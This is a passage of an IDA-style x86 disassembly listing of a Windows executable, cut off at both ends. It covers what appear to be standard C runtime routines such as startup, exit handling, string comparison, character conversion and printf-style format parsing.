mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4177E5 cmp edx, [esp+0Ch+arg_4] ja short loc_4177E5 jb short loc_4177E6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4177E6 loc_4177E5: ; CODE XREF: sub_417750+85j ; sub_417750+8Bj dec esi loc_4177E6: ; CODE XREF: sub_417750+8Dj ; sub_417750+93j xor edx, edx mov eax, esi loc_4177EA: ; CODE XREF: sub_417750+57j dec edi jnz short loc_4177F4 neg edx neg eax sbb edx, 0 loc_4177F4: ; CODE XREF: sub_417750+9Bj pop ebx pop esi pop edi retn 10h sub_417750 endp ; =============== S U B R O U T I N E ======================================= sub_4177FA proc near ; CODE XREF: sub_417AF8+93p mov eax, off_437D3C test eax, eax jz short loc_417805 call eax ; sub_415F3B loc_417805: ; CODE XREF: sub_4177FA+7j push offset dword_423028 push offset dword_423014 call sub_4178E2 push offset dword_423010 push offset dword_423000 call sub_4178E2 add esp, 10h retn sub_4177FA endp ; =============== S U B R O U T I N E ======================================= sub_417827 proc near ; CODE XREF: sub_417AF8+D2p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_417849 add esp, 0Ch retn sub_417827 endp ; =============== S U B R O U T I N E ======================================= sub_417838 proc near ; CODE XREF: .nsp0:00417BE9p ; sub_417BEE+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_417849 add esp, 0Ch retn sub_417838 endp ; =============== S U B R O U T I N E ======================================= sub_417849 proc near ; CODE XREF: sub_417827+8p ; sub_417838+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4694DC, edi jnz short loc_417866 push [esp+4+arg_0] call dword_421104 ; GetCurrentProcess push eax call dword_421140 ; TerminateProcess loc_417866: ; CODE XREF: sub_417849+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4694D8, edi mov byte_4694D4, bl jnz short loc_4178BA mov eax, dword_46AB14 test eax, eax jz short loc_4178A9 mov ecx, dword_46AB10 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_4178A8 loc_417895: ; CODE XREF: sub_417849+5Dj mov eax, [esi] test eax, eax jz short loc_41789D call eax loc_41789D: ; CODE XREF: sub_417849+50j sub esi, 4 cmp esi, dword_46AB14 jnb short loc_417895 loc_4178A8: ; CODE XREF: sub_417849+4Aj pop esi loc_4178A9: ; CODE XREF: sub_417849+3Cj push offset dword_423034 push offset dword_42302C call sub_4178E2 pop ecx pop ecx loc_4178BA: ; CODE XREF: sub_417849+33j push offset dword_423040 push offset dword_423038 call sub_4178E2 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_4178E0 push [esp+4+arg_0] mov dword_4694DC, edi call dword_421114 ; ExitProcess loc_4178E0: ; CODE XREF: sub_417849+85j pop edi retn sub_417849 endp ; =============== S U B R O U T I N E ======================================= sub_4178E2 proc near ; CODE XREF: sub_4177FA+15p ; sub_4177FA+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_4178E7: ; CODE XREF: sub_4178E2+16j cmp esi, [esp+4+arg_4] jnb short loc_4178FA mov eax, [esi] test eax, eax jz short loc_4178F5 call eax loc_4178F5: ; CODE XREF: sub_4178E2+Fj add esi, 4 jmp short loc_4178E7 ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_4178E2+9j pop esi retn sub_4178E2 endp ; =============== S U B R O U T I N E ======================================= sub_4178FC proc near ; CODE XREF: sub_40CE55+2AAAp arg_0 = dword ptr 4 push [esp+arg_0] call dword_421118 ; DeleteFileA test eax, eax jnz short loc_417912 call dword_421088 ; RtlGetLastWin32Error jmp short loc_417914 ; --------------------------------------------------------------------------- loc_417912: ; CODE XREF: sub_4178FC+Cj xor eax, eax loc_417914: ; CODE XREF: sub_4178FC+14j test eax, eax jz short loc_417923 push eax call sub_41C5D7 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417923: ; CODE XREF: sub_4178FC+1Aj xor eax, eax retn sub_4178FC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_412B60+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41797C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41797D test eax, 1 jz short loc_41795D mov cl, [esi] cmp cl, [edi] jnz short loc_4179AA inc esi inc edi dec eax jz short loc_41797A loc_41795D: ; CODE XREF: sub_417930+20j ; sub_417930+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_4179AA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_4179AA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41795D loc_41797A: ; CODE XREF: sub_417930+2Bj ; sub_417930+84j pop edi pop esi locret_41797C: ; CODE XREF: sub_417930+6j retn ; --------------------------------------------------------------------------- loc_41797D: ; CODE XREF: sub_417930+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_4179B2 repe cmpsd jz short loc_4179B2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_4179A5 cmp ch, dh jnz short loc_4179A5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_4179A5 cmp ch, dh loc_4179A5: ; CODE XREF: sub_417930+63j ; sub_417930+67j ... mov eax, 0 loc_4179AA: ; CODE XREF: sub_417930+26j ; sub_417930+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4179B2: ; CODE XREF: sub_417930+55j ; sub_417930+59j test eax, eax jz short loc_41797A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_4179A5 dec eax jz short loc_4179D9 cmp dh, ch jnz short loc_4179A5 dec eax jz short loc_4179D9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_4179A5 dec eax loc_4179D9: ; CODE XREF: sub_417930+8Fj ; sub_417930+96j pop edi pop esi retn sub_417930 endp ; =============== S U B R O U T I N E ======================================= sub_4179DC proc near ; CODE XREF: sub_413CA9+55p ; sub_4146BA+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4179F3 loc_4179E9: ; CODE XREF: sub_4179DC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4179E9 loc_4179F3: ; CODE XREF: sub_4179DC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_4179DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179F9 proc near ; CODE XREF: sub_413CA9+19p ; sub_413CA9+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_417AC6 mov edi, [ebp+arg_8] cmp edi, esi jz loc_417AF3 cmp dword_469528, esi jnz short loc_417A4A cmp edi, esi jbe loc_417AF3 loc_417A29: ; CODE XREF: sub_4179F9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_417AF3 inc eax inc edx inc edx cmp eax, edi jb short loc_417A29 jmp loc_417AF3 ; --------------------------------------------------------------------------- loc_417A4A: ; CODE XREF: sub_4179F9+26j mov ebx, [ebp+arg_4] mov esi, dword_421064 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_469538 call esi ; MultiByteToWideChar test eax, eax jnz loc_417AF2 call dword_421088 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_417A84 loc_417A75: ; CODE XREF: sub_4179F9+CBj ; sub_4179F9+F7j mov dword_469494, 2Ah or eax, 0FFFFFFFFh jmp short loc_417AF3 ; --------------------------------------------------------------------------- loc_417A84: ; CODE XREF: sub_4179F9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_417A8C: ; CODE XREF: sub_4179F9+B3j mov cl, [eax] test cl, cl jz short loc_417AAE mov edx, off_437D70 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_417AA3 inc eax loc_417AA3: ; CODE XREF: sub_4179F9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_417A8C loc_417AAE: ; CODE XREF: sub_4179F9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_469538 call esi ; MultiByteToWideChar test eax, eax jnz short loc_417AF3 jmp short loc_417A75 ; --------------------------------------------------------------------------- loc_417AC6: ; CODE XREF: sub_4179F9+Fj cmp dword_469528, esi jnz short loc_417AD9 push [ebp+arg_4] call sub_415CF0 pop ecx jmp short loc_417AF3 ; --------------------------------------------------------------------------- loc_417AD9: ; CODE XREF: sub_4179F9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_469538 call dword_421064 ; MultiByteToWideChar cmp eax, esi jz short loc_417A75 loc_417AF2: ; CODE XREF: sub_4179F9+6Bj dec eax loc_417AF3: ; CODE XREF: sub_4179F9+1Aj ; sub_4179F9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4179F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AF8 proc near ; CODE XREF: start-2C75j var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_30 = dword ptr -30h var_2C = word ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421678 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp+var_18], esp call dword_42116C ; GetVersion xor edx, edx mov dl, ah mov dword_4694AC, edx mov ecx, eax and ecx, 0FFh mov dword_4694A8, ecx shl ecx, 8 add ecx, edx mov dword_4694A4, ecx shr eax, 10h mov dword_4694A0, eax xor esi, esi push esi call sub_418A83 pop ecx test eax, eax jnz short loc_417B64 push 1Ch call sub_417C13 pop ecx loc_417B64: ; CODE XREF: sub_417AF8+62j mov [ebp+var_4], esi call sub_41CC52 call dword_421168 ; GetCommandLineA mov dword_46AB04, eax call sub_41CB20 mov dword_4694E0, eax call sub_41C8D3 call sub_41C81A call sub_4177FA mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call dword_421164 ; GetStartupInfoA call sub_41C7C2 mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_417BB1 movzx eax, [ebp+var_2C] jmp short loc_417BB4 ; --------------------------------------------------------------------------- loc_417BB1: ; CODE XREF: sub_417AF8+B1j push 0Ah pop eax loc_417BB4: ; CODE XREF: sub_417AF8+B7j push eax push [ebp+var_64] push esi push esi call dword_4210C8 ; GetModuleHandleA push eax call sub_40C682 mov [ebp+var_60], eax push eax call sub_417827 mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_41C63E pop ecx pop ecx retn sub_417AF8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_417838 ; =============== S U B R O U T I N E ======================================= sub_417BEE proc near ; CODE XREF: sub_416852+16p ; sub_41C81A+4Ep ... arg_0 = dword ptr 4 cmp dword_4694E8, 1 jnz short loc_417BFC call sub_41CEE0 loc_417BFC: ; CODE XREF: sub_417BEE+7j push [esp+arg_0] call sub_41CF19 push 0FFh call off_437D60 pop ecx pop ecx retn sub_417BEE endp ; =============== S U B R O U T I N E ======================================= sub_417C13 proc near ; CODE XREF: sub_417AF8+66p arg_0 = dword ptr 4 cmp dword_4694E8, 1 jnz short loc_417C21 call sub_41CEE0 loc_417C21: ; CODE XREF: sub_417C13+7j push [esp+arg_0] call sub_41CF19 pop ecx push 0FFh call dword_421114 ; ExitProcess retn sub_417C13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C37 proc near ; CODE XREF: sub_4154E7+46p ; sub_415A6A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_417D40 test al, 40h jnz loc_417D40 test al, 1 jz short loc_417C6F and dword ptr [esi+4], 0 test al, 10h jz loc_417D40 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_417C6F: ; CODE XREF: sub_417C37+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_417CA9 cmp esi, offset dword_438488 jz short loc_417C97 cmp esi, offset dword_4384A8 jnz short loc_417CA2 loc_417C97: ; CODE XREF: sub_417C37+56j push ebx call sub_41D0B0 test eax, eax pop ecx jnz short loc_417CA9 loc_417CA2: ; CODE XREF: sub_417C37+5Ej push esi call sub_41D06C pop ecx loc_417CA9: ; CODE XREF: sub_417C37+4Ej ; sub_417C37+69j test word ptr [esi+0Ch], 108h push edi jz short loc_417D16 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_417CD9 push edi push eax push ebx call sub_41C42A add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_417D0C ; --------------------------------------------------------------------------- loc_417CD9: ; CODE XREF: sub_417C37+90j cmp ebx, 0FFFFFFFFh jz short loc_417CF4 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_46A7C0[eax*4] lea eax, [eax+ecx*8] jmp short loc_417CF9 ; --------------------------------------------------------------------------- loc_417CF4: ; CODE XREF: sub_417C37+A5j mov eax, offset dword_4383D0 loc_417CF9: ; CODE XREF: sub_417C37+BBj test byte ptr [eax+4], 20h jz short loc_417D0C push 2 push 0 push ebx call sub_41BB7F add esp, 0Ch loc_417D0C: ; CODE XREF: sub_417C37+A0j ; sub_417C37+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_417D2A ; --------------------------------------------------------------------------- loc_417D16: ; CODE XREF: sub_417C37+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41C42A add esp, 0Ch mov [ebp+arg_4], eax loc_417D2A: ; CODE XREF: sub_417C37+DDj cmp [ebp+arg_4], edi pop edi jz short loc_417D36 or dword ptr [esi+0Ch], 20h jmp short loc_417D45 ; --------------------------------------------------------------------------- loc_417D36: ; CODE XREF: sub_417C37+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_417D48 ; --------------------------------------------------------------------------- loc_417D40: ; CODE XREF: sub_417C37+10j ; sub_417C37+18j ... or al, 20h mov [esi+0Ch], eax loc_417D45: ; CODE XREF: sub_417C37+FDj or eax, 0FFFFFFFFh loc_417D48: ; CODE XREF: sub_417C37+107j pop esi pop ebx pop ebp retn sub_417C37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D4C proc near ; CODE XREF: sub_4154E7+29p ; sub_415A6A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_418465 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_417D80 ; --------------------------------------------------------------------------- loc_417D78: ; CODE XREF: sub_417D4C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_417D80: ; CODE XREF: sub_417D4C+2Aj cmp [ebp+var_14], edx jl loc_418465 cmp bl, 20h jl short loc_417DA1 cmp bl, 78h jg short loc_417DA1 movsx eax, bl mov al, [eax+421664h] and eax, 0Fh jmp short loc_417DA3 ; --------------------------------------------------------------------------- loc_417DA1: ; CODE XREF: sub_417D4C+40j ; sub_417D4C+45j xor eax, eax loc_417DA3: ; CODE XREF: sub_417D4C+53j movsx eax, byte_421684[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_418454 ; default jmp off_41846D[eax*4] ; switch jump loc_417DC1: ; DATA XREF: .nsp0:off_41846Do or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417DBA case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417DDC: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do movsx eax, bl ; jumptable 00417DBA case 2 sub eax, 20h jz short loc_417E1F sub eax, 3 jz short loc_417E16 sub eax, 8 jz short loc_417E0D dec eax dec eax jz short loc_417E04 sub eax, 3 jnz loc_418454 ; default or [ebp+var_4], 8 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E04: ; CODE XREF: sub_417D4C+A4j or [ebp+var_4], 4 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E0D: ; CODE XREF: sub_417D4C+A0j or [ebp+var_4], 1 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E16: ; CODE XREF: sub_417D4C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E1F: ; CODE XREF: sub_417D4C+96j or [ebp+var_4], 2 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E28: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do cmp bl, 2Ah ; jumptable 00417DBA case 3 jnz short loc_417E50 lea eax, [ebp+arg_8] push eax call sub_41852B test eax, eax pop ecx mov [ebp+var_20], eax jge loc_418454 ; default or [ebp+var_4], 4 neg eax loc_417E48: ; CODE XREF: sub_417D4C+111j mov [ebp+var_20], eax jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E50: ; CODE XREF: sub_417D4C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_417E48 ; --------------------------------------------------------------------------- loc_417E5F: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do mov [ebp+var_10], edx ; jumptable 00417DBA case 4 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E67: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do cmp bl, 2Ah ; jumptable 00417DBA case 5 jnz short loc_417E8A lea eax, [ebp+arg_8] push eax call sub_41852B test eax, eax pop ecx mov [ebp+var_10], eax jge loc_418454 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E8A: ; CODE XREF: sub_417D4C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417E9C: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do cmp bl, 49h ; jumptable 00417DBA case 6 jz short loc_417ECF cmp bl, 68h jz short loc_417EC6 cmp bl, 6Ch jz short loc_417EBD cmp bl, 77h jnz loc_418454 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417EBD: ; CODE XREF: sub_417D4C+15Dj or [ebp+var_4], 10h jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417EC6: ; CODE XREF: sub_417D4C+158j or [ebp+var_4], 20h jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417ECF: ; CODE XREF: sub_417D4C+153j cmp byte ptr [edi], 36h jnz short loc_417EE8 cmp byte ptr [edi+1], 34h jnz short loc_417EE8 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417EE8: ; CODE XREF: sub_417D4C+186j ; sub_417D4C+18Cj mov [ebp+var_30], edx loc_417EEB: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do mov ecx, off_437D70 ; jumptable 00417DBA case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_417F17 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41848D mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_417F17: ; CODE XREF: sub_417D4C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41848D add esp, 0Ch jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_417F2F: ; CODE XREF: sub_417D4C+6Ej ; DATA XREF: .nsp0:off_41846Do movsx eax, bl ; jumptable 00417DBA case 7 cmp eax, 67h jg loc_418157 cmp eax, 65h jge loc_417FDA cmp eax, 58h jg loc_418038 jz loc_4181CB sub eax, 43h jz loc_417FFB dec eax dec eax jz short loc_417FD0 dec eax dec eax jz short loc_417FD0 sub eax, 0Ch jnz loc_418356 test word ptr [ebp+var_4], 830h jnz short loc_417F79 or byte ptr [ebp+var_4+1], 8 loc_417F79: ; CODE XREF: sub_417D4C+227j ; sub_417D4C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_417F86 mov esi, 7FFFFFFFh loc_417F86: ; CODE XREF: sub_417D4C+233j lea eax, [ebp+arg_8] push eax call sub_41852B test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41819F test ecx, ecx jnz short loc_417FAE mov ecx, off_437D6C mov [ebp+var_8], ecx loc_417FAE: ; CODE XREF: sub_417D4C+257j mov [ebp+var_24], 1 mov eax, ecx loc_417FB7: ; CODE XREF: sub_417D4C+282j mov edx, esi dec esi test edx, edx jz loc_418196 cmp word ptr [eax], 0 jz loc_418196 inc eax inc eax jmp short loc_417FB7 ; --------------------------------------------------------------------------- loc_417FD0: ; CODE XREF: sub_417D4C+212j ; sub_417D4C+216j mov [ebp+var_34], 1 add bl, 20h loc_417FDA: ; CODE XREF: sub_417D4C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4180BE mov [ebp+var_10], 6 jmp loc_4180CC ; --------------------------------------------------------------------------- loc_417FFB: ; CODE XREF: sub_417D4C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_418007 or byte ptr [ebp+var_4+1], 8 loc_418007: ; CODE XREF: sub_417D4C+2B5j ; sub_417D4C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41804E call sub_418548 push eax lea eax, [ebp+var_248] push eax call sub_41D18F add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_418061 mov [ebp+var_28], 1 jmp short loc_418061 ; --------------------------------------------------------------------------- loc_418038: ; CODE XREF: sub_417D4C+1FBj sub eax, 5Ah jz short loc_41806F sub eax, 9 jz short loc_418007 dec eax jz loc_418231 jmp loc_418356 ; --------------------------------------------------------------------------- loc_41804E: ; CODE XREF: sub_417D4C+2C5j call sub_41852B pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_418061: ; CODE XREF: sub_417D4C+2E1j ; sub_417D4C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_418356 ; --------------------------------------------------------------------------- loc_41806F: ; CODE XREF: sub_417D4C+2EFj lea eax, [ebp+arg_8] push eax call sub_41852B test eax, eax pop ecx jz short loc_4180B0 mov ecx, [eax+4] test ecx, ecx jz short loc_4180B0 test byte ptr [ebp+var_4+1], 8 jz short loc_4180A1 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_418356 ; --------------------------------------------------------------------------- loc_4180A1: ; CODE XREF: sub_417D4C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_418353 ; --------------------------------------------------------------------------- loc_4180B0: ; CODE XREF: sub_417D4C+32Fj ; sub_417D4C+336j mov eax, off_437D68 mov [ebp+var_8], eax push eax jmp loc_41814C ; --------------------------------------------------------------------------- loc_4180BE: ; CODE XREF: sub_417D4C+29Dj jnz short loc_4180CC cmp bl, 67h jnz short loc_4180CC mov [ebp+var_10], 1 loc_4180CC: ; CODE XREF: sub_417D4C+2AAj ; sub_417D4C:loc_4180BEj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_4380A8 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41811E cmp [ebp+var_10], 0 jnz short loc_41811E lea eax, [ebp+var_248] push eax call off_4380B4 pop ecx loc_41811E: ; CODE XREF: sub_417D4C+3BCj ; sub_417D4C+3C2j cmp bl, 67h jnz short loc_418135 test esi, esi jnz short loc_418135 lea eax, [ebp+var_248] push eax call off_4380AC pop ecx loc_418135: ; CODE XREF: sub_417D4C+3D5j ; sub_417D4C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41814B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41814B: ; CODE XREF: sub_417D4C+3F0j push edi loc_41814C: ; CODE XREF: sub_417D4C+36Dj call sub_415CF0 pop ecx jmp loc_418353 ; --------------------------------------------------------------------------- loc_418157: ; CODE XREF: sub_417D4C+1E9j sub eax, 69h jz loc_418231 sub eax, 5 jz loc_418207 dec eax jz loc_4181F4 dec eax jz short loc_4181C4 sub eax, 3 jz loc_417F79 dec eax dec eax jz loc_418235 sub eax, 3 jnz loc_418356 mov [ebp+var_2C], 27h jmp short loc_4181D2 ; --------------------------------------------------------------------------- loc_418196: ; CODE XREF: sub_417D4C+270j ; sub_417D4C+27Aj sub eax, ecx sar eax, 1 jmp loc_418353 ; --------------------------------------------------------------------------- loc_41819F: ; CODE XREF: sub_417D4C+24Fj test ecx, ecx jnz short loc_4181AC mov ecx, off_437D68 mov [ebp+var_8], ecx loc_4181AC: ; CODE XREF: sub_417D4C+455j mov eax, ecx loc_4181AE: ; CODE XREF: sub_417D4C+46Fj mov edx, esi dec esi test edx, edx jz short loc_4181BD cmp byte ptr [eax], 0 jz short loc_4181BD inc eax jmp short loc_4181AE ; --------------------------------------------------------------------------- loc_4181BD: ; CODE XREF: sub_417D4C+467j ; sub_417D4C+46Cj sub eax, ecx jmp loc_418353 ; --------------------------------------------------------------------------- loc_4181C4: ; CODE XREF: sub_417D4C+425j mov [ebp+var_10], 8 loc_4181CB: ; CODE XREF: sub_417D4C+201j mov [ebp+var_2C], 7 loc_4181D2: ; CODE XREF: sub_417D4C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41823C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41823C ; --------------------------------------------------------------------------- loc_4181F4: ; CODE XREF: sub_417D4C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41823C or byte ptr [ebp+var_4+1], 2 jmp short loc_41823C ; --------------------------------------------------------------------------- loc_418207: ; CODE XREF: sub_417D4C+417j lea eax, [ebp+arg_8] push eax call sub_41852B test byte ptr [ebp+var_4], 20h pop ecx jz short loc_418220 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_418225 ; --------------------------------------------------------------------------- loc_418220: ; CODE XREF: sub_417D4C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_418225: ; CODE XREF: sub_417D4C+4D2j mov [ebp+var_28], 1 jmp loc_418454 ; default ; --------------------------------------------------------------------------- loc_418231: ; CODE XREF: sub_417D4C+2F7j ; sub_417D4C+40Ej or [ebp+var_4], 40h loc_418235: ; CODE XREF: sub_417D4C+432j mov [ebp+var_C], 0Ah loc_41823C: ; CODE XREF: sub_417D4C+491j ; sub_417D4C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41824E lea eax, [ebp+arg_8] push eax call sub_418538 pop ecx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41824E: ; CODE XREF: sub_417D4C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_418275 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41826A call sub_41852B pop ecx movsx eax, ax loc_418267: ; CODE XREF: 